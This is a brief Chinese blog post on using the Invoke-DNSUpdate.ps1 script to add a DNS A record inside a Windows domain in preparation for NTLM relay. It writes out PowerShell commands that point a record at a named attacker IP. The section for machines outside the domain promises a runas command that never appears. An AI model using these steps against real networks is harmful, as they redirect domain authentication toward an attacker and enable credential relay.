域内添加DNS记录

使用Invoke-DNSUpdate.ps1脚本可以在域内添加一个DNS记录，可用于NTLM Relay。

当前机器在域内

在域内机器执行下面命令添加dns记录，10.211.55.2是我们攻击者ip

Import-Module .\Invoke-DNSUpdate.ps1  
Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 10.211.55.2

  

 

  
1
  
2
 

当前机器不在域内

如果当前机器不在域内的话，我们也可以通过runas执行下面命令，会弹出一个powershell框。前提是我们将机器的DNS设置为域控的ip

文章来源: xie1997.blog.csdn.net，作者：谢公子，版权归原作者所有，如需转载，请联系作者。

原文链接：xie1997.blog.csdn.net/article/details/126827861